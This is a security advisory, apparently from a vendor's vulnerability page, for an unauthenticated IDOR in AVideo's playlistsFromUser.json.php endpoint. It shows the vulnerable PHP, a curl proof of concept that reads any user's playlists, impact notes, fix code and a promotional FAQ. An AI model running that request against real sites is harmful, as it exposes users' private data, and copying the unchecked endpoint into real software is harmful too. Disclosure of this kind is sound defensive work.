CVE-2026-30885

Product: AVideo (https://github.com/WWBN/AVideo)
Version: Latest (tested March 2026)
Type: Insecure Direct Object Reference (IDOR)
Auth Required: No
User Interaction: None

The /objects/playlistsFromUser.json.php endpoint returns all playlists for any user without requiring authentication or authorization. An unauthenticated attacker can enumerate user IDs and retrieve playlist information including playlist names, video IDs, and playlist status for any user on the platform.

Root Cause

The endpoint accepts a users_id parameter and directly queries the database without any authentication or authorization check.
File: objects/playlistsFromUser.json.php

if (empty($_GET['users_id'])) {
    die("You need a user");
}
// NO AUTHENTICATION CHECK
// NO AUTHORIZATION CHECK (does this user_id belong to the requester?)
$row = PlayList::getAllFromUser($_GET['users_id'], false);
echo json_encode($row);

There is no call to User::isLogged() or any comparison between the requesting user and the target users_id.

Affected Code

Proof of Concept

Retrieve admin's playlists (user ID 1)

curl "https://TARGET/objects/playlistsFromUser.json.php?users_id=1"

Response:

[
  {"id":false,"name":"Watch Later","status":"watch_later","users_id":1},
  {"id":false,"name":"Favorite","status":"favorite","users_id":1}
]

• Privacy violation, any visitor can see all users' playlist names and contents
• User enumeration, valid user IDs can be discovered by iterating through IDs
• Information gathering, playlist names and video IDs reveal user interests and private content preferences
• Targeted attacks, gathered information can be used for social engineering or further exploitation

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

Kodem intelligence

Add authentication and authorization checks:

// Option 1: Require authentication + only own playlists
if (!User::isLogged()) {
    die(json_encode(['error' => 'Authentication required']));
}
if ($_GET['users_id'] != User::getId() && !User::isAdmin()) {
    die(json_encode(['error' => 'Access denied']));
}

// Option 2: If public playlists are intended, filter by visibility
$row = PlayList::getAllFromUser($_GET['users_id'], false, 'public');

1. What is CVE-2026-30885? CVE-2026-30885 is a medium-severity missing authentication for critical function vulnerability in wwbn/avideo (composer), affecting versions < 25.0. It is fixed in 25.0. A critical operation is accessible without requiring any authentication.
2. Which versions of wwbn/avideo are affected by CVE-2026-30885? wwbn/avideo (composer) versions < 25.0 is affected.
3. Is there a fix for CVE-2026-30885? Yes. CVE-2026-30885 is fixed in 25.0. Upgrade to this version or later.
4. Is CVE-2026-30885 exploitable, and should I be worried? Whether CVE-2026-30885 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-30885 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-30885? Upgrade wwbn/avideo to 25.0 or later.

Other vulnerabilities in wwbn/avideo